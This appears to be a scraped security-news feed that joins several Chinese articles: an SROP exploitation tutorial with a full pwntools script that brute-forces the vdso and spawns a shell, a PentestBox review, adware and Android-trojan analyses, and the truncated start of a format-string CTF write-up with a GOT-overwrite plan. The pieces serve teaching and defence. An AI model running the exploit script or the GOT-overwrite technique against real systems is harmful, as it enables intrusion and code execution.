了解了linux的信号处理过程后,我们可以利用sigreturn来做出自己想要的系统调用。不过也是有条件的,但是个人觉得条件还是不难满足的。基本上只要有个栈溢出(没开canary)在大部分条件下就能实现这个利用。而利用过程也相对比较简单。

1. 伪造sigcontext结构,push到栈中。伪造过程中需要将eax,ebx,ecx等参数寄存器设置为相关值,eip设置为syscall的地址。并且需要注意的是esp,ebp和es,gs等段寄存器不可直接设置为0,经过个人测试,这样不会成功。

2. 然后将返回地址设置为sigreturn的地址(或者相关gadget)。

3. 最后当sigreturn系统调用执行完后,就直接执行你的系统调用了。

|sig_ret|<---esp |--------| || |frame| |--------| ——————————

利用过程比较麻烦的一点是找sigreturn的地址(或gadget)。对于x86来说,vdso(vitual dynamic shared object)会有sigreturn的地址,而且vdso的地址可以很容易爆破得到。因为即使对开了ASLR的linux来说,其地址也只有一个字节是随机的。

gdb-peda$ x/3i 0xf7fdb411

0xf7fdb411<__kernel_sigreturn+1>:moveax,0x77 0xf7fdb416<__kernel_sigreturn+6>:int0x80 0xf7fdb418<__kernel_sigreturn+8>:nop

但是对x64来说,爆破vdso就比较难了。原来只有11bit是随记的,但我在我的linux上测试好像有22位是随机的了,爆破也就几小时而已(个人亲测),还是能爆出来的。关于64位的爆破,可参考Return to VDSO using ELF Auxiliary Vectors。

我们还有一种方法能找到vdso的地址——ELF Auxiliary vector。

gdb-peda$infoauxv 33AT_SYSINFO_EHDRSystem-suppliedDSO'sELFheader0x7ffff7ffa000<--addressofvdso 16AT_HWCAPMachine-dependentCPUcapabilityhints0xfabfbff 6AT_PAGESZSystempagesize4096 17AT_CLKTCKFrequencyoftimes()100 3AT_PHDRProgramheadersforprogram0x400040 4AT_PHENTSizeofprogramheaderentry56 5AT_PHNUMNumberofprogramheaders9 7AT_BASEBaseaddressofinterpreter0x7ffff7dda000 8AT_FLAGSFlags0x0 9AT_ENTRYEntrypointofprogram0x400500 11AT_UIDRealuserID0 12AT_EUIDEffectiveuserID0 13AT_GIDRealgroupID0 14AT_EGIDEffectivegroupID0 23AT_SECUREBoolean,wasexecsetuid-like?0 25AT_RANDOMAddressof16randombytes0x7fffffffe789 31AT_EXECFNFilenameofexecutable0x7fffffffefdb"/home/wolzhang/Desktop/a.out" 15AT_PLATFORMStringidentifyingplatform0x7fffffffe799"x86_64" 0AT_NULLEndofvector0x0

AT_SYSINFO_EHDR就是vdso的地址,如果存在printf格式化漏洞,那么我们可以泄露此值。

另一种方法是我们可以用ROP制造一个sigreturn,只需要找到一个syscall和ret的地址就行。幸运的是在x64上很容易找到:因为有vsyscall。而且vsyscall的地址是固定的:0xffffffffff600000。

gdb-peda$x/3i0xffffffffff600000 0xffffffffff600000:movrax,0x60 0xffffffffff600007:syscall 0xffffffffff600009:ret

Example

我写了个demo来测试一下(based on x86)。比较简单。
#include<stdio.h> #include<unistd.h> charbuf[10]="/bin/sh\x00"; intmain() { chars[0x100]; puts("inputsomethingyouwant:"); read(0,s,0x400); return0; }

以下是我的利用脚本:

frompwnimport* importrandom binsh_addr=0x804a024 bss_addr=0x804a02e vdso_range=range(0xf7700000,0xf7800000,0x1000) defmain(): globalp debug=1 ifdebug: #context.level_log="debug" context.arch="i386" p=process('./srop_test') else: pass globalvdso_addr vdso_addr=random.choice(vdso_range) payload='a'*0x10c frame=SigreturnFrame(kernel="i386") frame.eax=0xb frame.ebx=binsh_addr frame.ecx=0 frame.edx=0 frame.eip=vdso_addr+0x416#addressofint80h frame.esp=bss_addr frame.ebp=bss_addr frame.gs=0x63 frame.cs=0x23 frame.es=0x2b frame.ds=0x2b frame.ss=0x2b ret_addr=vdso_addr+0x411#addressofsigreturnsyscall #printpayload payload+=p32(ret_addr)+str(frame) p.recvuntil("inputsomethingyouwant:\n") p.sendline(payload) sleep(1) p.sendline("echopwned!") r=p.recvuntil("pwned!") ifr!="pwned!": raiseException("Failed!") return if__name__=="__main__": globalp,vdso_addr i=1 whileTrue: print"\nTry%d"%i try: main() exceptExceptionase: #printe p.close() i+=1 continue print"vdso_addr:"+hex(vdso_addr) p.interactive() break

因为32位的vdso几分钟就能爆破成功,很容易得到一个shell。

...... Try165 [+]Startinglocalprocess'./srop_test':Done vdso_addr:0xf7734000 [*]Switchingtointeractivemode $id uid=0(root)gid=0(root)groups=0(root) $

个人觉得这种方法比一般的rop还是好用多了。一般rop还得泄露libc,但是srop没有这么多限制。在条件允许时,个人倾向于用srop。


Reference

Sigreturn Oriented Programming

关于ELF的辅助向量

Sigreturn Oriented Programming is a real Threat


【技术分享】Sigreturn Oriented Programming攻击简介
【技术分享】Sigreturn Oriented Programming攻击简介
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3675.html

【工具推荐】Windows渗透测试神器“PentestBox”

$
0
0
【工具推荐】windows渗透测试神器“PentestBox”

2017-03-30 13:52:33
来源:安全客 作者:厦门安胜网络科技有限公司

阅读:437次
点赞(0)
收藏





【工具推荐】Windows渗透测试神器“PentestBox”

作者:厦门安胜网络科技有限公司

稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

工具官网:https://pentestbox.org/zh/

前言

你是否在日常渗透测试过程中总是开着好几个虚拟机?Kali、BackTrack、xp...然后各种切换各种卡?如果是这样,那你可以试试接下来要介绍的这款windows下运行的神器——PentestBox。


Windows下便携式渗透测试环境:PentestBox

PentestBox是一款Windows平台下预配置的便携式开源渗透测试环境。说起渗透测试环境,linux下有很多好用的渗透测试系统,如Kali、BackTrack、Parrot Security OS等;这些Linux系统中都集合了很多渗透测试过程中所需要的工具。但是毕竟多数人日常使用的都是Windows系统,若想要同时使用Windows及Linux系统的话,那就只能设置为双系统或将linux系统装在虚拟机中了。PentestBox就能解决这样的麻烦,官网是这样介绍的:

它打包了所有的安全工具,并且可以在Windows系统中原生地运行,有效地降低了对虚拟机或者双启动环境的需求。

PentestBox的一些优点特性如下:

1. 易于使用:只是一个简单的命令行工具。

2. 没有依赖需求:所有的依赖需求都已经安装在 PentestBox 内部,甚至可以直接在新安装的 Windows 系统上运行。

3. 方便携带:PentestBox 具有高度的便携性,现在可以将您的渗透测试环境直接放在USB存储设备中。它完美得解决了运行工具所需要的所有依赖和配置。

4.Linux工具集:PentestBox 包含了几乎所有的Linux工具集,比如bash、cat、chmod、curl、git、gzip、ls、mv、ps、ssh、sh、uname等。它甚至包含了编辑器之神"vim"。

5. 无驱动问题:Windows 平台已经有了完善的图形卡和无线网络驱动支持,不用担心驱动兼容性问题。假如您想使用 RainbowCrack 驱动GPU破解 Hash,这在类 Linux 环境下是无法实现的,但是 PentestBox 可以帮您完成。

6. 模块化:在开发 PentestBox 的过程中,我们总是选择最好的工具,但是我们仍然可能错过了一些您想要使用的工具。您可以使用 PentestBox 内置的 toolsmanager 轻松安装/更新/卸载您想使用的工具。

7. 更少的内存占用:PentestBox 运行不需要虚拟机的支持,与运行在虚拟机上的至少占用2GB内存的发行版相比,仅需要20MB的内存。

8. 内置浏览器:PentestBox 内置一个安装有几乎所有安全相关插件的 Firefox 浏览器

9. 可更新特性:PentestBox 包含有更新模块,可以保持您的工具总是处于最新版本。

PentestBox有两个版本可以选择,一款安装了Metasploit,另一款则没有安装。需要注意的是,在安装和使用“安装有Metasploit的PentestBox” 时需要关闭杀毒软件和防火墙,因为metasploit生成的攻击载荷对于windows的安全来说是个威胁。

安装过程其实就是文件的释放,随后会在安装目录下生成5个文件夹,2个库文件,一个bat批处理以及exe启动程序。其中base文件夹集合了ruby、jdk、python等需要用到的环境变量;vendor下是程序运行框架;icons存放程序的图标;config则是一些配置文件,bin文件夹下就是程序打包的所有安全工具了,我们日常渗透测试所用到的工具如sqlmap、burpsuite、nmap、wpscan、cmsmap、dirbuster、ipscan、wireshark、metasploit等等都囊括其中,还有firefox这个渗透必不可少的浏览器,程序还为firefox预安装了一些安全插件,包括firebug、hackbar、live http headers等等。也就是说,你可以把安装目录下的文件复制到你的U盘中,然后你就拥有一个便携式的渗透测试环境了。

接下来介绍一下如何使用PentestBox:


【工具推荐】Windows渗透测试神器“PentestBox”

输入 list ,菜单显示不同类型工具的查看命令;


【工具推荐】Windows渗透测试神器“PentestBox”

我们想看一下web应用程序都有哪些工具,只需要输入 list webapplication ,屏幕会显示当前PentestBox中安装好的web应用程序的启动命令及其工具名。


【工具推荐】Windows渗透测试神器“PentestBox”

输入 sqlmap 来运行SQL注入软件SQLMAP;


【工具推荐】Windows渗透测试神器“PentestBox”

输入 nmap 来运行网络发现和安全审计软件Nmap;


【工具推荐】Windows渗透测试神器“PentestBox”

输入 firefox 来运行火狐浏览器;

想要了解所有PentestBox预安装工具的启动命令可以访问:

https://tools.pentestbox.org/#linux-utilities


扩展PentestBox

PentestBox具有很好的拓展性,如果你有自己写的工具或者发现其它好用的工具但未被收集在PentestBox中,只需要简单的几个步骤就可以将之添加在其中,让我们来尝试将WebLogic反序列化漏洞利用工具加入PentestBox中:


【工具推荐】Windows渗透测试神器“PentestBox”

1. 将工具复制/下载到 C:/PentestBox/bin/customtools 目录下;



【工具推荐】Windows渗透测试神器“PentestBox”

2. 尝试输入文件名运行工具,很明显这是无效的,因为PentestBox中并没有这么一个工具;


【工具推荐】Windows渗透测试神器“PentestBox”

3. 打开位于 C:/PentestBox/bin/customtools 目录下的customaliases文件,输入命令

weblogic=startjavaw-jar"%pentestbox_ROOT%\bin\customtools\WebLogic_EXP.jar"$*

其中weblogic是自定义的alias,即工具的别名,作为工具的启动命令;


【工具推荐】Windows渗透测试神器“PentestBox”

4. 在PentestBox控制终端输入weblogic,工具顺利启动;

5. 上面的例子是一个基于Java的工具,那么如果我们要添加的是基于python或者ruby呢?原理步骤是一样的,只是在customaliases文件中写入的命令有所区别而已:

基于Python的工具:

tool=python"%pentestbox_ROOT%\bin\customtools\tool.py"$*

基于Ruby的工具:

tool=ruby"%pentestbox_ROOT%\bin\customtools\tool.rb"$*

基于可执行文件的工具:

tool="%pentestbox_ROOT%\bin\customtools\tool.exe"$*

基于Java的工具:

tool=startjavaw-jar"%pentestbox_ROOT%\bin\customtools\tool.jar"$*

PentestBox v2.0中引入了一个新功能——Tools Manager,用户可以使用此功能安装/更新/卸载工具。一些并未预安装在PentestBox中,但又值得推荐了工具便可以在Tools Manager中进行安装,这也使得PentestBox更加模块化。

你也可以浏览以下网页来了解可以使用toolsmanager安装的工具列表及介绍:

https://modules.pentestbox.org/

下面演示一下如何使用toolsmanager安装工具joomlascan:


【工具推荐】Windows渗透测试神器“PentestBox”

1. 先尝试输入 joomlascan 来运行,程序报错了;


【工具推荐】Windows渗透测试神器“PentestBox”

2. 输入命令 toolsmanager ,toolsmanager会先从Github存储库更新自己,然后将显示菜单;如果没有连接网络,脚本会等待一小会再显示菜单;


【工具推荐】Windows渗透测试神器“PentestBox”

3. 输入 10 ,进入Web Applications,输入 install joomlascan 来安装工具。安装后将会显示工具的别名;


【工具推荐】Windows渗透测试神器“PentestBox”

4. 重启程序,输入 joomlascan ,程序成功启动。


总结

总而言之,这是一款集合了众多渗透工具的便携式渗透测试环境,不仅帮你集合了众多常用渗透工具,还具有良好的拓展性;个人常用工具的添加方便快捷 ;有了它,你就可以打造出专属的Windows渗透测试环境,无需使用Linux啦。


【工具推荐】Windows渗透测试神器“PentestBox”
【工具推荐】Windows渗透测试神器“PentestBox”
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3671.html

【技术分享】使用插件框架已成为Android广告软件的新趋势

$
0
0
【技术分享】使用插件框架已成为Android广告软件的新趋势

2017-03-30 15:29:02
来源:paloaltonetworks.com 作者:興趣使然的小胃

阅读:492次
点赞(0)
收藏





【技术分享】使用插件框架已成为Android广告软件的新趋势

作者:興趣使然的小胃

稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

对于合法的Android应用而言,使用嵌入式广告SDK或推广其他应用程序是普遍存在的行为,展示广告或推广其他应用可以为合法应用开发者带来收益。然而,最近我们观察到移动广告社区中存在一个令人担忧的趋势,那就是Google Play商店中有些广告软件滥用第三方DroidPlugin框架,其行为已变得更具侵略性。

本文中,我们将大概介绍下研究人员是如何发现滥用第三方DroidPlugin框架的那些Android广告软件。我们已将调查结果与Google共享,所有违背Google服务条款的应用已从Google Play商店中移除。


二、Andorid插件技术的优与劣

插件技术最初由第三方引入,用来为Android添加额外的增强功能。比如,Parallel Space(https://play.google.com/store/apps/details?id=com.lbe.parallel.intl&hl=en)插件允许用户在一台手机上运行两个Twitter应用。另外,插件技术也可以提高热补丁(hot patching)的修补速度。

不幸的是,插件技术所提供的增强功能也可以用于恶意行为。恶意软件作者早已滥用合法的插件技术来实现恶意目的,如绕过终端设备的反恶意软件机制(特别是静态扫描机制)。我们在关于PluginPhantom的研究报告中已经讨论过这类技术细节,其他研究人员也研究过插件技术如何用于网络钓鱼攻击。

在之前的研究中,我们发现恶意软件已经在滥用“DroidPlugin”和“VirtualApp”这两种最流行的开源插件框架。这两种框架都可以用来启动任意Android应用,从理论上讲,这些应用甚至不需要安装在手机上。从技术角度而言,Android的插件技术本质上是一种应用层虚拟环境技术。

Unit 42研究人员最近发现Android插件功能已成为广告软件推广应用的一种创新方式。启用插件功能的应用可以在不安装其他应用的前提下启动这些应用。这为广告软件提供了极大的便利,因为它们可以在不与用户交互的情况下安装和推广其他应用。

这种应用推广方式存在安全风险,因为当前的插件框架使用了较为脆弱的安全机制。这些插件框架无法在不同的插件实例中区分权限和隔离数据。因此,当被推广的应用经由插件框架启动时,这些应用拥有了与宿主应用程序相同的权限(通常是Android上的所有权限),并且可以访问宿主应用或其他插件应用的数据,这违反了Android应用沙箱中的重要准则,即:

“在Android应用沙箱中,不同应用之间无法共享数据和代码资源”

合法应用遵守沙箱准则,假定自己总是会安全地运行在自己的沙箱内,但现在它们正面临安全风险,因为它们无法预测自身是否在插件环境中启动运行。

例如,我们在Google Play中发现有32个应用使用了DroidPlugin框架,21个应用使用了VirtualApp框架。这些应用大部分都是PUP(potentially unwanted programs,潜在有害程序)或者广告软件,现在已经从Google Play上移除(见本文结尾部分)。

在接下来的示例中,我们会演示两个广告软件家族如何滥用插件技术来推广应用程序。


三、示例一:自动化推广应用

2016年9月,名为“Clean Doctor”(包名为“com.nianclub.cleandoctor”)的应用自1.2.0版本开始变得更具侵略性。这款广告软件滥用了VirtualApp 框架,其在Google Play中的演化时间线如图1所示:


【技术分享】使用插件框架已成为Android广告软件的新趋势

图1. “Clean Doctor”应用的演化时间线

为了推广应用,广告软件通常会下载应用,然后经常向用户展示应用程序安装界面。用户安装推广的应用后,广告软件作者就会获得推广收益。Clean Doctor(以下简称CD)使用了不同的策略来实现这一目标。

CD从地址为“familysdk.com”的C2服务器上获取任务信息,利用云存储服务下载多个推广应用。它不需要请求用户安装这些推广程序,而是以两种方式启动这些推广应用:

1、通过点击快捷方式启动推广应用

CD在设备主屏幕上为每个下载的应用(如图2所示)创建快捷方式。用户点击这些快捷方式时,相应的应用会以插件应用的形式在CD的沙箱内启动。大多数Android用户在点击快捷方式时无法区分这种启动方式与默认启动方式之间存在的区别。比如,当用户点击“Evony: Battle On”这个游戏应用的快捷方式时,该应用会直接立即地显示在屏幕中,但实际上应用是以插件应用方式启动,运行在插件虚拟环境中。


【技术分享】使用插件框架已成为Android广告软件的新趋势

图2. CD创建推广应用的快捷方式

2、自动启动推广应用

由于所有插件应用都在宿主应用的完全控制下,宿主应用可以控制每个插件应用的生命周期。当收到系统事件通知时,CD能够以插件应用模式自动启动这些推广应用。


【技术分享】使用插件框架已成为Android广告软件的新趋势

图3. 通过插件方式启动的推广游戏应用


四、示例二:同时推广多个应用

在2017年1月底,我们发现Google Play中的一个名为“bloodpressure”的广告软件(包名为“com.blood.pressure.bost”)滥用了Android插件技术,变得更具侵略性。这款广告软件会自动启动独立的应用来显示广告,同时会在单个屏幕上同时推广多款应用。

该广告软件自2.5版开始使用嵌入式VirtualApp框架,但直到2017年2月才从Google Play上移除。移除时该广告软件的安装量已经在10,000到50,000次之间。这款应用在Google Play上的生命周期如图4所示。


【技术分享】使用插件框架已成为Android广告软件的新趋势

图4. “bloodpressure”广告软件的演化时间线

(一)与其他广告软件的不同点

大多数广告SDK使用webview组件来显示banner以及全屏广告,使用这类SDK的应用一次只能展示一个广告。我们发现的bloodpressure广告软件样本与此不同,可以在单个屏幕上同时向用户展示多个应用广告。为了达成此目的,该广告软件会自动启动一个插件应用,多个广告会在这个插件应用中集中显示(如图5所示)。这项技术在危害程度上不及那种不经用户交互就启动推广的技术,但能够可以允许广告软件作者有更多的机会来安装推广应用。


【技术分享】使用插件框架已成为Android广告软件的新趋势

图5. 插件应用展示多个广告

(二)技术分析

这款广告应用的工作流程如图6所示,分为以下几个步骤:

1、从远程服务器获取配置文件

宿主应用启动后会访问“http://qwe.ortpale.com/conf/bloodinfo.txt”,从远程服务器上下载配置文件。注意到这里的HTTP请求中,User-Agent字段值为“Ray-Downer.”。

2、解码并保存插件应用

宿主应用中包含一个名为“protect.data”的原始资源。这个资源文件实际上是一个经过编码的APK插件。宿主应用解码并保存该应用。

3、安装插件应用

宿主应用利用VirtualApp框架在自己的沙箱内安装插件应用。

4、启动插件应用

插件应用安装成功后,宿主应用可以使用VirutalApp的API函数启用插件应用。一旦插件应用成功启动立即开始向用户展示广告。


【技术分享】使用插件框架已成为Android广告软件的新趋势

图6. 插件型广告应用的工作流程


五、结论

Android的插件技术可以允许广告软件作者以新的方式谋取利益。这种技术滥用行为对广告网络和Android用户而言都是有害的。我们希望移动开发社区和安全社区能够共同合作,解决Android插件技术中存在的安全问题。Android用户需要注意的是,在Android插件环境中,他们的插件应用和设备中的私人数据信息存在很大的安全风险。


六、致谢

非常感谢来自于Palo Alto Networks的Ryan Olson和Kirill Zemnucha,他们为本文的成稿以及广告应用样本的发现提供了很多的帮助和支持。


七、在Google Play中被移除的其他插件应用


【技术分享】使用插件框架已成为Android广告软件的新趋势

【技术分享】使用插件框架已成为Android广告软件的新趋势

【技术分享】使用插件框架已成为Android广告软件的新趋势

样本SHA256值:

5e5bea52b1f9fcbd78c990cd09057780ebda669a5b632a8dd46ecfcfbfaf6369 24d308a8f2bcabd97b0e7acba8e22821914e464cdb7d0ed61a26400456870edd 6c2a23c0ca361fabc95e2eac3a13641cafe53803c8a4fc32b8a182374ac32ee1 dec71f2464bdfcc7a8fae02e2c103a31b746aa798aeebe1721ccd037156106f4 748dae1604fb0b747bcdeb476aea7d1f6bbec7d7a260613241a9fc3ef1243c66 ee7b82ef97928e0e4d100eb82c37bac6d87ee275cc89ec67c3f8a64fd13561be 5467ebe255bd59912c61aa1b801ea93972672885bfa29c3ee9756342ceb65228 49a9767d1775dd45545ea8fff1250e89fa6fd0c1a694b6583f4e79cd1b14c162 95d12555b71adf13eb40cb78c2f8cfa17aeaaf6f063bcd209a6037463e8fca66 d1916eb07c0a8494df21f8453511df6655fe1bc07efb37b526eae8724665ab91 4e25245dc9c0c8b6cf98e9fcdd6f94dd8e0dad7ad526248999f913682df28531

【技术分享】使用插件框架已成为Android广告软件的新趋势
【技术分享】使用插件框架已成为Android广告软件的新趋势
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://researchcenter.paloaltonetworks.com/2017/03/unit42-new-trend-android-adware-abusing-android-plugin-frameworks/

【木马分析】破坏者病毒:广告SDK背后的魔手

$
0
0
【木马分析】破坏者病毒:广告SDK背后的魔手

2017-03-30 18:32:03
来源:安全客 作者:360安全卫士

阅读:569次
点赞(0)
收藏





【木马分析】破坏者病毒:广告SDK背后的魔手

导读

“我确定我就是那一只披着羊皮的狼、而你是我的猎物是我嘴里的羔羊”用这句歌词来形容“X破坏者”病毒好像很贴切:

利用某互联网巨头公司证书签名、依靠各大应用市场传播。

下载量超过100万。

“破坏”安全软件、难以清除。

“X破坏者”病毒的背后,有着一套成熟运转的黑色产业链。

这些不法分子究竟还有哪些企图?究竟会对用户手机造成多大的破坏?面对这样恶劣的病毒又应该如何防范?本报告将为你深度分析“X破坏者”背后的故事,揭开其背后的黑色产业链。


一、 愈发猖獗的破坏

近几个月360互联网安全中心不断收到用户反馈,手机中病毒后无法清除,并且会导致杀毒软件闪退。通过协助用户我们发现始作俑者为一个极具破坏性的手机病毒。据用户反馈,手机中招后,Root工具将没法成功Root,杀毒软件全部“失灵”,并且都伴随有闪退现象。

除此之外,此病毒还会发送扣费短信私自订制包月业务,并且疯狂下载安装应用,造成用户资费消耗。


【木马分析】破坏者病毒:广告SDK背后的魔手

近几年来,破坏手机系统文件的病毒越来越多,但是像这种破坏性极强的病毒很少见,因此我们给该病毒取名为“X破坏者”。


二、 产业链挖掘

为什么会有这么多的用户反馈?为什么会导致众多应用崩溃?经过深度挖掘,我们从“X破坏者”挖掘出了一条从逆向各大安全软件到开发病毒再到病毒传播的幕后产业链。

(一) 重要线索

线索一:通过应用市场传播

令人惊讶的是,我们发现“X破坏者”居然能绕过某些Android应用市场的安全检查,而且累计已有上百万的下载量,其中下载量大的已超过60万。在追查绕过原因时,我们发现“X破坏者”APK母包程序竟然持有某公司证书签名,使分析研究工作一度陷入僵局。


【木马分析】破坏者病毒:广告SDK背后的魔手

从应用市场下载病毒MD5列表如下:


【木马分析】破坏者病毒:广告SDK背后的魔手

线索二:幕后广告SDK

APK病毒与ELF系统底层病毒使用的域名如下表。


【木马分析】破坏者病毒:广告SDK背后的魔手

通过360天眼,分析出“X破坏者”所使用的域名与IP之间的相关联系,如下图。


【木马分析】破坏者病毒:广告SDK背后的魔手

通过域名反查,追踪定位到一家手机广告平台,该病毒团队是专门从事广告推广,其SDK不仅伪装在正常应用中,而且还提供给第三方。

(二) 产业链

整理“X破坏者”病毒幕后的线索,360互联网安全中心梳理出一套从开发到传播推广的完整产业链。

场景一:伪装正常应用

病毒开发者选取一些常用的应用:清理大师、云朵护眼等应用作为载体,通过某种手段利用某巨头公司的证书签名,来给自己套上安全的外壳,绕过了应用市场的安全检查,最终由各大应用市场下载到用户的手机。

场景二:广告SDK推广

病毒开发者精心设计广告SDK,提供给应用开发者,这类开发者在“毫不知情”的情况下集成了SDK发布了应用,最终进入了用户的手机,广告SDK远程下载Root模块提权,动态加载功能模块实现软件安装、广告推送、恶意扣费,从而获益。

跟据该病毒的特点,粗略把病毒开发公司分为开发组、逆向组、BD组。开发组负责木马的主要功能的开发和制作SDK;逆向组负责各大安全软件、各大主流Root软件、公开病毒、开源CVE的研究,为开发组提供免杀、Root提权等技术支持;BD组负责商务拓展,推广SDK、推广应用等。


【木马分析】破坏者病毒:广告SDK背后的魔手

图4 病毒产业链


三、 恶意功能

(一)恶意扣费

私自订购业务,造成用户话费损失。

(二)静默安装

往系统目录中偷偷安装其他应用,导致用户流量资费消耗,并且影响用户使用体验。

(三)破坏系统

此病毒入侵手机后破坏性极强,不仅删除各种Root工具底层模块,还禁用安全软件,导致手机应用异常崩溃。甚至在获取到Root权限后卸载各种安全软件,以至于其他Root工具很难再得到权限,彻底清除病毒变得十分麻烦。几乎所有主流手机安全软件都会受到影响。详细列表如下表。


【木马分析】破坏者病毒:广告SDK背后的魔手

四、 影响

(一)感染量

从2016年6月份至2017年2月份,“X破坏者”累计感染量已超过57万,平均每日新增感染量2000余个。2017年初360互联网安全中心发现了该病毒的新变种,羊毛党们经过精心的策划,准备在接下来的春节狠狠的“薅羊毛”。


【木马分析】破坏者病毒:广告SDK背后的魔手

(二)地域分布

从地域分布来看,感染“X破坏者“病毒最多的地区为广东省,感染量占全国感染总量的12.4%;其次为河南省(8.3%)、山东省(7.3%)、河北省(5.9%)、四川省(5.3%)。


【木马分析】破坏者病毒:广告SDK背后的魔手

下图给出了近半年多来“X破坏者”病毒感染量全国排前十的城市。北京市感染量最多,占全国感染总量的3.5%,其次为广州市(2.4%)、重庆市(2.0%)、成都市(1.8%)、郑州市(1.6%)。


【木马分析】破坏者病毒:广告SDK背后的魔手

五、 技术分析

(一)执行流程图

“X破坏者”病毒大致执行流程图如下。


【木马分析】破坏者病毒:广告SDK背后的魔手

图8 病毒执行流程图

(二)APK加壳保护

恶意程序母包使用开源的APK加壳方案对主体加密、隐藏保护,防止反编译。


【木马分析】破坏者病毒:广告SDK背后的魔手

通过反射置换android.app.ActivityThread中的mClassLoader为加载解密出APK的DexClassLoader,由DexClassLoader加载com.md.zt.ac.SecurityApplication恶意主体组件。


【木马分析】破坏者病毒:广告SDK背后的魔手

(三)获取Root权限

待恶意主体初始化完成之后,远程请求下载szcp.zip以及bom文件。


【木马分析】破坏者病毒:广告SDK背后的魔手

图11 下载文件

szcp文件中包含有提取工具集libengine.so和ca文件。


【木马分析】破坏者病毒:广告SDK背后的魔手

接着,bom文件会解密生成boDat和boboLib,boboDat解密成一个随机名称的Jar。


【木马分析】破坏者病毒:广告SDK背后的魔手

这Jar从代码的结构来看,猜测病毒开发者完全逆向实现了Root精灵的RootSDK。


【木马分析】破坏者病毒:广告SDK背后的魔手

同时,在该病毒的其它变种中,发现病毒开发者逆向破解了刷机大师的RootSDK。


【木马分析】破坏者病毒:广告SDK背后的魔手

该病毒使用的提权漏洞和逆向的第三方工具详细如下表。


【木马分析】破坏者病毒:广告SDK背后的魔手

(四)恶意扣费

通过拦截短信,订购增值服务来获取高额收益。


【木马分析】破坏者病毒:广告SDK背后的魔手

(五)释放底层模块

病毒获取Root权限成功后,由“i”释放多个核心工作模块,启动守护进程、删除各种安全产品。详细如下表。


【木马分析】破坏者病毒:广告SDK背后的魔手

【木马分析】破坏者病毒:广告SDK背后的魔手

(六)卸载安全软件

“X破坏者”最大的特点就是其疯狂的破坏行为。遍历/system/bin和/system/xbin目录删除Root相关文件,并且暴力删除各安全软件数据文件。这种暴力行为造成的后果就是各种与Root相关软件一直崩溃。卸载删除的详细应用列表如下表。


【木马分析】破坏者病毒:广告SDK背后的魔手

(七)禁用安全软件

禁用安全软件,导致手机应用异常崩溃。除了禁用360手机卫士外,禁用的其他安全软件列表如下表。


【木马分析】破坏者病毒:广告SDK背后的魔手

六、 查杀

“X破坏者”母体APK拥有正常的应用功能,表面上没有任何异常,用户下载时极难察觉到。如果进程中同时发现以下进程名,手机可能已中毒:TService、MService、msm、CService。推荐使用360手机急救箱进行清理http://jijiu.360.cn。


七、 安全建议

1、建议安卓手机用户不要随意开放root权限,作为安卓系统的底层权限,一旦开放root权限就意味着手机大门已敞开。为手机软件使用行方便的同时,也为手机木马行了方便。

2、日常使用手机过程中,谨慎点击软件内的推送广告。来源不明的手机软件、安装包、文件包等不要随意点击下载。

3、同时,手机上网时,对于不明链接、安全性未知的二维码等信息,不要随意点击或扫描,避免其中存在木马病毒危害手机安全。

4、养成良好的手机使用习惯,定期查杀手机木马,避免遭受潜伏在手机中的恶意软件危害。


【木马分析】破坏者病毒:广告SDK背后的魔手
【木马分析】破坏者病毒:广告SDK背后的魔手
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3676.html

【技术分享】格式化字符串漏洞利用小结(二)

$
0
0
【技术分享】格式化字符串漏洞利用小结(二)

2017-03-31 10:03:06
来源:安全客 作者:tianyi201612

阅读:358次
点赞(0)
收藏





【技术分享】格式化字符串漏洞利用小结(二)

作者:tianyi201612

稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】格式化字符串漏洞利用小结(一)

【CTF攻略】格式化字符串blind pwn详细教程


1、无binary的格式化字符串漏洞利用

无binary的格式化字符串漏洞赛题一般都只给一个远程地址,根据这篇文章(http://bobao.360.cn/ctf/detail/189.html)可知,这种题目叫“blindpwn”(那这里就是“blindformatstring”了),有点sql注入里面盲注的意思,挺好玩的。

这里选用sharifCTF7来举例,因为这个CTF的服务端至今还开放着,并且提供了三道从易到难的无binary格式化字符串漏洞利用题目,有兴趣的可以尝试一下。这三道题目也将格式化字符串漏洞利用的两种主要方式体现了出来,即“读取数据以泄漏信息”和“写入数据以获取控制权”。


2、sharifCTF7-Guess(pwn50)

ncctf.sharif.edu54517

这题是将flag直接放置在栈中,用户可以输入format字符串并返回相应信息。通过构造类似“%x*n”这样的输入即可获得栈中的n字节信息,从而将隐藏在栈中的flag直接拿到。

通过输入%1$p可知目标系统是64位,然后使用%k$lx并一直增加k值。当k=136时,输出5443666972616853,hex转码后即为“TCfirahS”,说明马上就到flag了,继续增加k,结果如下。

1365443666972616853TCfirahS 1373832346435617b46824d5a{F 1386237636363323336b7ccc236 1396136633735336466a6c753df 14035613837613832315a87a821 14100007ff6007d6338}c8 Flag:SharifCTF{a5d428632ccc7bfd357c6a128a78a58c}

3、sharifCTF7-NoMoreBlind(pwn200)

ncctf.sharif.edu54514

这题可以无限次输入字符串,每次均可得到反馈。通过输入“%3$p%4$p”进行测试,我们可以确定目标系统是32bit的,且偏移为4。本题的flag不在栈上,需要通过getshell来寻找,主要思路如下:

通过格式化字符串漏洞,利用%s将目标ELF文件dump出来;

分析并修复返回的ELF文件;

通过逆向ELF文件,了解程序的基本流程以及所用libc函数的GOT以获得system函数的实际地址;

将system函数地址写入printf函数的GOT表项处;

通过输入“/bin/sh”,利用已被改为system地址的printf来获得shell。

3.1 利用格式化字符串漏洞dump出ELF

先给出代码吧,此代码修改自其他人的,特此说明。

